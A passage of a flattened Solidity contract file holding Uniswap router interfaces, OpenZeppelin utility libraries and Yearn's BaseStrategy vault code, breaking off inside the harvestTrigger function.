) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash =
0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) =
target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/IERC20
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// Part: OpenZeppelin/[email protected]/Math
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);
}
}
// Part: OpenZeppelin/[email protected]/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Part: ICrvV3
interface ICrvV3 is IERC20 {
function minter() external view returns (address);
}
// Part: IUniswapV2Router02
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// Part: OpenZeppelin/[email protected]/SafeERC20
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance =
token.allowance(address(this), spender).add(value);
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance =
token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata =
address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
// Part: iearn-finance/[email protected]/VaultAPI
interface VaultAPI is IERC20 {
function apiVersion() external pure returns (string memory);
function withdraw(uint256 shares, address recipient)
external
returns (uint256);
function token() external view returns (address);
function strategies(address _strategy)
external
view
returns (StrategyParams memory);
/**
* View how much the Vault would increase this Strategy's borrow limit,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function creditAvailable() external view returns (uint256);
/**
* View how much the Vault would like to pull back from the Strategy,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function debtOutstanding() external view returns (uint256);
/**
* View how much the Vault expect this Strategy to return at the current
* block, based on its present performance (since its last report). Can be
* used to determine expectedReturn in your Strategy.
*/
function expectedReturn() external view returns (uint256);
/**
* This is the main contact point where the Strategy interacts with the
* Vault. It is critical that this call is handled as intended by the
* Strategy. Therefore, this function will be called by BaseStrategy to
* make sure the integration is correct.
*/
function report(
uint256 _gain,
uint256 _loss,
uint256 _debtPayment
) external returns (uint256);
/**
* This function should only be used in the scenario where the Strategy is
* being retired but no migration of the positions are possible, or in the
* extreme scenario that the Strategy needs to be put into "Emergency Exit"
* mode in order for it to exit as quickly as possible. The latter scenario
* could be for any reason that is considered "critical" that the Strategy
* exits its position as fast as possible, such as a sudden change in
* market conditions leading to losses, or an imminent failure in an
* external dependency.
*/
function revokeStrategy() external;
/**
* View the governance address of the Vault to assert privileged functions
* can only be called by governance. The Strategy serves the Vault, so it
* is subject to governance defined by the Vault.
*/
function governance() external view returns (address);
/**
* View the management address of the Vault to assert privileged functions
* can only be called by management. The Strategy serves the Vault, so it
* is subject to management defined by the Vault.
*/
function management() external view returns (address);
/**
* View the guardian address of the Vault to assert privileged functions
* can only be called by guardian. The Strategy serves the Vault, so it
* is subject to guardian defined by the Vault.
*/
function guardian() external view returns (address);
}
// Part: iearn-finance/[email protected]/BaseStrategy
/**
* @title Yearn Base Strategy
* @author yearn.finance
* @notice
* BaseStrategy implements all of the required functionality to interoperate
* closely with the Vault contract. This contract should be inherited and the
* abstract methods implemented to adapt the Strategy to the particular needs
* it has to create a return.
*
* Of special interest is the relationship between `harvest()` and
* `vault.report()'. `harvest()` may be called simply because enough time has
* elapsed since the last report, and not because any funds need to be moved
* or positions adjusted. This is critical so that the Vault may maintain an
* accurate picture of the Strategy's performance. See `vault.report()`,
* `harvest()`, and `harvestTrigger()` for further details.
*/
abstract contract BaseStrategy {
using SafeMath for uint256;
using SafeERC20 for IERC20;
string public metadataURI;
/**
* @notice
* Used to track which version of `StrategyAPI` this Strategy
* implements.
* @dev The Strategy's version must match the Vault's `API_VERSION`.
* @return A string which holds the current API version of this contract.
*/
function apiVersion() public pure returns (string memory) {
return "0.3.2";
}
/**
* @notice This Strategy's name.
* @dev
* You can use this field to manage the "version" of this Strategy, e.g.
* `StrategySomethingOrOtherV1`. However, "API Version" is managed by
* `apiVersion()` function above.
* @return This Strategy's name.
*/
function name() external view virtual returns (string memory);
/**
* @notice
* The amount (priced in want) of the total assets managed by this strategy should not count
* towards Yearn's TVL calculations.
* @dev
* You can override this field to set it to a non-zero value if some of the assets of this
* Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault.
* Note that this value must be strictly less than or equal to the amount provided by
* `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets.
* @return
* The amount of assets this strategy manages that should not be included in Yearn's Total Value
* Locked (TVL) calculation across it's ecosystem.
*/
function delegatedAssets() external view virtual returns (uint256) {
return 0;
}
VaultAPI public vault;
address public strategist;
address public rewards;
address public keeper;
IERC20 public want;
// So indexers can keep track of this
event Harvested(
uint256 profit,
uint256 loss,
uint256 debtPayment,
uint256 debtOutstanding
);
event UpdatedStrategist(address newStrategist);
event UpdatedKeeper(address newKeeper);
event UpdatedRewards(address rewards);
event UpdatedMinReportDelay(uint256 delay);
event UpdatedMaxReportDelay(uint256 delay);
event UpdatedProfitFactor(uint256 profitFactor);
event UpdatedDebtThreshold(uint256 debtThreshold);
event EmergencyExitEnabled();
event UpdatedMetadataURI(string metadataURI);
// The minimum number of seconds between harvest calls. See
// `setMinReportDelay()` for more details.
uint256 public minReportDelay = 0;
// The maximum number of seconds between harvest calls. See
// `setMaxReportDelay()` for more details.
uint256 public maxReportDelay = 86400; // ~ once a day
// The minimum multiple that `callCost` must be above the credit/profit to
// be "justifiable". See `setProfitFactor()` for more details.
uint256 public profitFactor = 100;
// Use this to adjust the threshold at which running a debt causes a
// harvest trigger. See `setDebtThreshold()` for more details.
uint256 public debtThreshold = 0;
// See note on `setEmergencyExit()`.
bool public emergencyExit;
// modifiers
modifier onlyAuthorized() {
require(
msg.sender == strategist || msg.sender == governance(),
"!authorized"
);
_;
}
modifier onlyStrategist() {
require(msg.sender == strategist, "!strategist");
_;
}
modifier onlyGovernance() {
require(msg.sender == governance(), "!authorized");
_;
}
modifier onlyKeepers() {
require(
msg.sender == keeper ||
msg.sender == strategist ||
msg.sender == governance() ||
msg.sender == vault.guardian() ||
msg.sender == vault.management(),
"!authorized"
);
_;
}
constructor(address _vault) public {
_initialize(_vault, msg.sender, msg.sender, msg.sender);
}
/**
* @notice
* Initializes the Strategy, this is called only once, when the
* contract is deployed.
* @dev `_vault` should implement `VaultAPI`.
* @param _vault The address of the Vault responsible for this Strategy.
*/
function _initialize(
address _vault,
address _strategist,
address _rewards,
address _keeper
) internal {
require(address(want) == address(0), "Strategy already initialized");
vault = VaultAPI(_vault);
want = IERC20(vault.token());
want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas)
strategist = _strategist;
rewards = _rewards;
keeper = _keeper;
vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled
}
/**
* @notice
* Used to change `strategist`.
*
* This may only be called by governance or the existing strategist.
* @param _strategist The new address to assign as `strategist`.
*/
function setStrategist(address _strategist) external onlyAuthorized {
require(_strategist != address(0));
strategist = _strategist;
emit UpdatedStrategist(_strategist);
}
/**
* @notice
* Used to change `keeper`.
*
* `keeper` is the only address that may call `tend()` or `harvest()`,
* other than `governance()` or `strategist`. However, unlike
* `governance()` or `strategist`, `keeper` may *only* call `tend()`
* and `harvest()`, and no other authorized functions, following the
* principle of least privilege.
*
* This may only be called by governance or the strategist.
* @param _keeper The new address to assign as `keeper`.
*/
function setKeeper(address _keeper) external onlyAuthorized {
require(_keeper != address(0));
keeper = _keeper;
emit UpdatedKeeper(_keeper);
}
/**
* @notice
* Used to change `rewards`. EOA or smart contract which has the permission
* to pull rewards from the vault.
*
* This may only be called by the strategist.
* @param _rewards The address to use for pulling rewards.
*/
function setRewards(address _rewards) external onlyStrategist {
require(_rewards != address(0));
vault.approve(rewards, 0);
rewards = _rewards;
vault.approve(rewards, uint256(-1));
emit UpdatedRewards(_rewards);
}
/**
* @notice
* Used to change `minReportDelay`. `minReportDelay` is the minimum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the minimum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The minimum number of seconds to wait between harvests.
*/
function setMinReportDelay(uint256 _delay) external onlyAuthorized {
minReportDelay = _delay;
emit UpdatedMinReportDelay(_delay);
}
/**
* @notice
* Used to change `maxReportDelay`. `maxReportDelay` is the maximum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the maximum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The maximum number of seconds to wait between harvests.
*/
function setMaxReportDelay(uint256 _delay) external onlyAuthorized {
maxReportDelay = _delay;
emit UpdatedMaxReportDelay(_delay);
}
/**
* @notice
* Used to change `profitFactor`. `profitFactor` is used to determine
* if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _profitFactor A ratio to multiply anticipated
* `harvest()` gas cost against.
*/
function setProfitFactor(uint256 _profitFactor) external onlyAuthorized {
profitFactor = _profitFactor;
emit UpdatedProfitFactor(_profitFactor);
}
/**
* @notice
* Sets how far the Strategy can go into loss without a harvest and report
* being required.
*
* By default this is 0, meaning any losses would cause a harvest which
* will subsequently report the loss to the Vault for tracking. (See
* `harvestTrigger()` for more details.)
*
* This may only be called by governance or the strategist.
* @param _debtThreshold How big of a loss this Strategy may carry without
* being required to report to the Vault.
*/
function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized {
debtThreshold = _debtThreshold;
emit UpdatedDebtThreshold(_debtThreshold);
}
/**
* @notice
* Used to change `metadataURI`. `metadataURI` is used to store the URI
* of the file describing the strategy.
*
* This may only be called by governance or the strategist.
* @param _metadataURI The URI that describe the strategy.
*/
function setMetadataURI(string calldata _metadataURI)
external
onlyAuthorized
{
metadataURI = _metadataURI;
emit UpdatedMetadataURI(_metadataURI);
}
/**
* Resolve governance address from Vault contract, used to make assertions
* on protected functions in the Strategy.
*/
function governance() internal view returns (address) {
return vault.governance();
}
/**
* @notice
* Provide an accurate estimate for the total amount of assets
* (principle + return) that this Strategy is currently managing,
* denominated in terms of `want` tokens.
*
* This total should be "realizable" e.g. the total value that could
* *actually* be obtained from this Strategy if it were to divest its
* entire position based on current on-chain conditions.
* @dev
* Care must be taken in using this function, since it relies on external
* systems, which could be manipulated by the attacker to give an inflated
* (or reduced) value produced by this function, based on current on-chain
* conditions (e.g. this function is possible to influence through
* flashloan attacks, oracle manipulations, or other DeFi attack
* mechanisms).
*
* It is up to governance to use this function to correctly order this
* Strategy relative to its peers in the withdrawal queue to minimize
* losses for the Vault based on sudden withdrawals. This value should be
* higher than the total debt of the Strategy and higher than its expected
* value to be "safe".
* @return The estimated total assets in this Strategy.
*/
function estimatedTotalAssets() public view virtual returns (uint256);
/*
* @notice
* Provide an indication of whether this strategy is currently "active"
* in that it is managing an active position, or will manage a position in
* the future. This should correlate to `harvest()` activity, so that Harvest
* events can be tracked externally by indexing agents.
* @return True if the strategy is actively managing a position.
*/
function isActive() public view returns (bool) {
return
vault.strategies(address(this)).debtRatio > 0 ||
estimatedTotalAssets() > 0;
}
/**
* Perform any Strategy unwinding or other calls necessary to capture the
* "free return" this Strategy has generated since the last time its core
* position(s) were adjusted. Examples include unwrapping extra rewards.
* This call is only used during "normal operation" of a Strategy, and
* should be optimized to minimize losses as much as possible.
*
* This method returns any realized profits and/or realized losses
* incurred, and should return the total amounts of profits/losses/debt
* payments (in `want` tokens) for the Vault's accounting (e.g.
* `want.balanceOf(this) >= _debtPayment + _profit - _loss`).
*
* `_debtOutstanding` will be 0 if the Strategy is not past the configured
* debt limit, otherwise its value will be how far past the debt limit
* the Strategy is. The Strategy's debt limit is configured in the Vault.
*
* NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`.
* It is okay for it to be less than `_debtOutstanding`, as that
* should only used as a guide for how much is left to pay back.
* Payments should be made to minimize loss from slippage, debt,
* withdrawal fees, etc.
*
* See `vault.debtOutstanding()`.
*/
function prepareReturn(uint256 _debtOutstanding)
internal
virtual
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
);
/**
* Perform any adjustments to the core position(s) of this Strategy given
* what change the Vault made in the "investable capital" available to the
* Strategy. Note that all "free capital" in the Strategy after the report
* was made is available for reinvestment. Also note that this number
* could be 0, and you should handle that scenario accordingly.
*
* See comments regarding `_debtOutstanding` on `prepareReturn()`.
*/
function adjustPosition(uint256 _debtOutstanding) internal virtual;
/**
* Liquidate up to `_amountNeeded` of `want` of this strategy's positions,
* irregardless of slippage. Any excess will be re-invested with `adjustPosition()`.
* This function should return the amount of `want` tokens made available by the
* liquidation. If there is a difference between them, `_loss` indicates whether the
* difference is due to a realized loss, or if there is some other sitution at play
* (e.g. locked funds) where the amount made available is less than what is needed.
* This function is used during emergency exit instead of `prepareReturn()` to
* liquidate all of the Strategy's positions back to the Vault.
*
* NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained
*/
function liquidatePosition(uint256 _amountNeeded)
internal
virtual
returns (uint256 _liquidatedAmount, uint256 _loss);
/**
* @notice
* Provide a signal to the keeper that `tend()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `tend()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `tend()` is not called
* shortly, then this can return `true` even if the keeper might be
* "at a loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCost` must be priced in terms of `want`.
*
* This call and `harvestTrigger()` should never return `true` at the same
* time.
* @param callCost The keeper's estimated cast cost to call `tend()`.
* @return `true` if `tend()` should be called, `false` otherwise.
*/
function tendTrigger(uint256 callCost) public view virtual returns (bool) {
// We usually don't need tend, but if there are positions that need
// active maintainence, overriding this function is how you would
// signal for that.
return false;
}
/**
* @notice
* Adjust the Strategy's position. The purpose of tending isn't to
* realize gains, but to maximize yield by reinvesting any returns.
*
* See comments on `adjustPosition()`.
*
* This may only be called by governance, the strategist, or the keeper.
*/
function tend() external onlyKeepers {
// Don't take profits with this call, but adjust for better gains
adjustPosition(vault.debtOutstanding());
}
/**
* @notice
* Provide a signal to the keeper that `harvest()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `harvest()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `harvest()` is not called
* shortly, then this can return `true` even if the keeper might be "at a
* loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCost` must be priced in terms of `want`.
*
* This call and `tendTrigger` should never return `true` at the
* same time.
*
* See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the
* strategist-controlled parameters that will influence whether this call
* returns `true` or not. These parameters will be used in conjunction
* with the parameters reported to the Vault (see `params`) to determine
* if calling `harvest()` is merited.
*
* It is expected that an external system will check `harvestTrigger()`.
* This could be a script run off a desktop or cloud bot (e.g.
* https://github.com/iearn-finance/yearn-vaults/blob/master/scripts/keep.py),
* or via an integration with the Keep3r network (e.g.
* https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol).
* @param callCost The keeper's estimated cast cost to call `harvest()`.
* @return `true` if `harvest()` should be called, `false` otherwise.
*/
function harvestTrigger(uint256 callCost)
public
view
virtual
returns (bool)
{
StrategyParams memory params = vault.strategies(address(this));
// Should not trigger if Strategy is not activated
if (params.activation == 0) return false;
// Should not trigger if we haven't waited long enough since previous harvest
if (block.timestamp.sub(params.lastReport) < minReportDelay)
return false;
// Should trigger if hasn't been called in a while
if (block.timestamp.sub(params.lastReport) >= maxReportDelay)
return true;
// If some amount is owed, pay it back
// NOTE: Since debt is based on deposits, it makes sense to guard against large
// changes to the value from triggering a harvest directly through user
// behavior. This should ensure reasonable resistance to manipulation
// from user-initiated withdrawals as the outstanding debt fluctuates.
uint256 outstanding = vault.debtOutstanding();
if (outstanding > debtThreshold) return true;
// Check for profits and losses
uint256 total = estimatedTotalAssets();
// Trigger if we have a loss to report
if (total.add(debtThreshold) < params.totalDebt) return true;
uint256 profit = 0;
if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit!
// Otherwise, only trigger if it "makes sense" economically (gas cost
